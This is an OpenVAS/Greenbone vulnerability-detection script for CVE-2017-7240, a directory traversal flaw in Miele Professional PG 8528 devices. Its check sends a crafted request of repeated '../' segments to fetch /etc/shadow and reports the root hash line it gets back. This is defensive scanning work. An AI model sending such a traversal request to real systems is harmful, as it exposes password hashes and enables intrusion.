Miele Professional PG 8528 Directory Traversal Vulnerability (Mar 2017)

# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108109");
  script_version("2023-01-12T10:12:15+0000");
  script_cve_id("CVE-2017-7240");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-01-12 10:12:15 +0000 (Thu, 12 Jan 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-08-16 01:29:00 +0000 (Wed, 16 Aug 2017)");
  script_tag(name:"creation_date", value:"2017-03-29 07:49:40 +0200 (Wed, 29 Mar 2017)");
  script_name("Miele Professional PG 8528 Directory Traversal Vulnerability (Mar 2017)");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl");
  script_mandatory_keys("PST10/banner");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2017/Mar/63");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/97080");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/41718/");
  script_xref(name:"URL", value:"https://ics-cert.us-cert.gov/advisories/ICSA-17-138-01");

  script_tag(name:"summary", value:"Miele Professional PG 8528 devices are prone to a directory
  traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to read
  arbitrary files on the target system.");

  script_tag(name:"solution", value:"See the advisory for a solution.");

  script_tag(name:"qod_type", value:"remote_active");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );
banner = http_get_remote_headers( port:port );

if( ! banner || "Server: PST10 WebServer" >!< banner )
  exit( 0 );

url = "/" + crap( data:"../", length:3 * 12 ) + "etc/shadow";

if( shadow = http_vuln_check( port:port, url:url, pattern:"root:.*:0:" ) ) {
  line = egrep( pattern:'root:.*:0:', string:shadow );
  line = chomp( line );
  report = 'By requesting "' + http_report_vuln_url( port:port, url:url, url_only:TRUE ) + '" it was possible to retrieve the content\nof /etc/shadow.\n\n[...] ' + line + ' [...]\n';
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );